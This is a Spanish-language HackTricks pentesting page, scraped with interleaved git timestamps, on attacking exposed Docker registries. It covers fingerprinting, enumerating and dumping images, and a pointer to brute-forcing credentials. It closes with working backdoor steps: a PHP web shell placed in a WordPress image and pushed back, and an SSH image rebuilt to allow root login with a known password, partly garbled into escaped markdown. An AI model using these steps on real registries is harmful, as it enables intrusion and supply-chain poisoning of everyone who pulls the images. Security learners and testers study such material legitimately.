hacktricks/network-services-pentesting/5000-pentesting-docker-registry.md

326 lines
15 KiB
Markdown
Raw Normal View History

# 5000 - Pentesting Docker Registry
2023-06-05 18:33:24 +00:00
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
2023-06-05 18:33:24 +00:00
Otras formas de apoyar a HackTricks:
2023-06-05 18:33:24 +00:00
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2024-04-06 18:13:31 +00:00
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
2023-06-05 18:33:24 +00:00
</details>
## Información Básica
2023-06-05 18:33:24 +00:00
Un sistema de almacenamiento y distribución conocido como un **registro de Docker** está en su lugar para las imágenes de Docker que están nombradas y pueden venir en múltiples versiones, diferenciadas por etiquetas. Estas imágenes están organizadas dentro de **repositorios de Docker** en el registro, cada repositorio almacenando varias versiones de una imagen específica. La funcionalidad proporcionada permite descargar imágenes localmente o subirlas al registro, asumiendo que el usuario tenga los permisos necesarios.
2023-06-05 18:33:24 +00:00
**DockerHub** sirve como el registro público predeterminado para Docker, pero los usuarios también tienen la opción de operar una versión local del registro/distribución de Docker de código abierto o optar por el **Docker Trusted Registry** con soporte comercial. Además, se pueden encontrar varios otros registros públicos en línea.
2023-06-05 18:33:24 +00:00
Para descargar una imagen de un registro local, se utiliza el siguiente comando:
2024-04-06 18:13:31 +00:00
```bash
2023-06-05 18:33:24 +00:00
docker pull my-registry:9000/foo/bar:2.1
```
2024-04-06 18:13:31 +00:00
Este comando obtiene la imagen `foo/bar` en la versión `2.1` del registro localizado en el dominio `my-registry` en el puerto `9000`. Por otro lado, para descargar la misma imagen desde DockerHub, especialmente si `2.1` es la última versión, el comando se simplifica a:
2024-04-06 18:13:31 +00:00
```bash
2023-06-05 18:33:24 +00:00
docker pull foo/bar
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Puerto predeterminado:** 5000
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
## Descubrimiento
La forma más sencilla de descubrir que este servicio está en ejecución es obtenerlo en la salida de nmap. De todos modos, ten en cuenta que al ser un servicio basado en HTTP, puede estar detrás de proxies de HTTP y nmap no lo detectará.\
2023-06-05 18:33:24 +00:00
Algunas huellas:
* Si accedes a `/`, no se devuelve nada en la respuesta
* Si accedes a `/v2/`, entonces se devuelve `{}`
* Si accedes a `/v2/_catalog`, puedes obtener:
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
2023-06-05 18:33:24 +00:00
## Enumeración
### HTTP/HTTPS
El registro de Docker puede estar configurado para usar **HTTP** o **HTTPS**. Por lo tanto, lo primero que debes hacer es **averiguar cuál** está siendo configurado:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
2023-06-05 18:33:24 +00:00
Warning: <FILE>" to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
### Autenticación
El registro de Docker también puede estar configurado para requerir **autenticación**:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
2024-04-06 18:13:31 +00:00
Si el Registro de Docker requiere autenticación, puedes [**intentar hacer fuerza bruta usando esto**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
**Si encuentras credenciales válidas, necesitarás usarlas** para enumerar el registro, en `curl` puedes usarlas de la siguiente manera:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
### Enumeración usando DockerRegistryGrabber
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) es una herramienta de Python para enumerar / volcar registros de Docker (sin autenticación o con autenticación básica)
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```bash
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
____ ____ ____
| _ \ | _ \ / ___|
| | | || |_) || | _
| |_| || _ < | |_| |
|____/ |_| \_\ \____|
Docker Registry grabber tool v2
by @SyzikSecu
positional arguments:
url URL
options:
-h, --help show this help message and exit
-p port port to use (default : 5000)
Authentication:
-U USERNAME Username
-P PASSWORD Password
-A header Authorization bearer token
Actions:
--list
--dump_all
--dump DOCKERNAME DockerName
Example commands:
python drg.py http://127.0.0.1 --list
python drg.py http://127.0.0.1 --dump my-ubuntu
python drg.py http://127.0.0.1 --dump_all
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all
2023-06-05 18:33:24 +00:00
python3 DockerGraber.py http://127.0.0.1 --list
[+] my-ubuntu
[+] my-ubuntu2
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
2023-06-05 18:33:24 +00:00
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] my-ubuntu
[+] my-ubuntu2
2023-06-05 18:33:24 +00:00
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
2023-06-05 18:33:24 +00:00
[+] blobSum found 5
[+] Dumping my-ubuntu2
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
2023-06-05 18:33:24 +00:00
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
### Enumeración usando curl
Una vez que **has obtenido acceso al registro de Docker**, aquí tienes algunos comandos que puedes usar para enumerarlo:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}
#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
2023-06-05 18:33:24 +00:00
}
#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
{% hint style="warning" %}
Ten en cuenta que al descargar y descomprimir los archivos y carpetas de blobs, estos aparecerán en el directorio actual. **Si descargas todos los blobs y los descomprimes en la misma carpeta, sobrescribirán los valores de los blobs previamente descomprimidos**, así que ten cuidado. Puede ser interesante descomprimir cada blob en una carpeta diferente para inspeccionar el contenido exacto de cada uno.
2023-06-05 18:33:24 +00:00
{% endhint %}
### Enumeración usando docker
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE CREATED CREATED BY SIZE COMMENT
#ed05bef01522 2 years ago ./run.sh 46.8MB
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
2023-06-05 18:33:24 +00:00
#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
2024-04-06 18:13:31 +00:00
### Instalación de puerta trasera en imagen de WordPress
2023-06-05 18:33:24 +00:00
En el escenario donde has encontrado un Registro de Docker que guarda una imagen de WordPress, puedes instalar una puerta trasera.\
**Crea** la **puerta trasera**:
2023-06-05 18:33:24 +00:00
{% code title="shell.php" %}
```bash
<?php echo shell_exec($_GET["cmd"]); ?>
```
{% endcode %}
Crear un **Dockerfile**:
2023-06-05 18:33:24 +00:00
{% code title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```
{% endcode %}
**Crear** la nueva imagen, **verificar** que se haya creado y **subirla**:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```bash
docker build -t 10.10.10.10:5000/wordpress .
#Create
2023-06-05 18:33:24 +00:00
docker images
docker push registry:5000/wordpress #Push it
```
2024-04-06 18:13:31 +00:00
### Instalación de puerta trasera en la imagen del servidor SSH
2023-06-05 18:33:24 +00:00
Supongamos que encontraste un Registro de Docker con una imagen de SSH y deseas instalarle una puerta trasera.\
2023-06-05 18:33:24 +00:00
**Descarga** la imagen y **ejecútala**:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```
2024-04-06 18:13:31 +00:00
Extraer el archivo `sshd_config` de la imagen de SSH:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
2024-04-06 18:13:31 +00:00
Y modifíquelo para establecer: `PermitRootLogin yes`
2023-06-05 18:33:24 +00:00
Cree un **Dockerfile** como el siguiente:
2023-06-05 18:33:24 +00:00
2024-04-06 18:13:31 +00:00
\`\`\`bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd\_config /etc/ssh/ RUN echo root:password | chpasswd \`\`\` \*\*Crear\*\* la nueva imagen, \*\*verificar\*\* que se haya creado y \*\*subirla\*\*: \`\`\`bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it \`\`\` ## Referencias \* \[https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/]\(https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
2023-06-05 18:33:24 +00:00
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
2023-06-05 18:33:24 +00:00
Otras formas de apoyar a HackTricks:
2023-06-05 18:33:24 +00:00
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2024-04-06 18:13:31 +00:00
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
2023-06-05 18:33:24 +00:00
</details>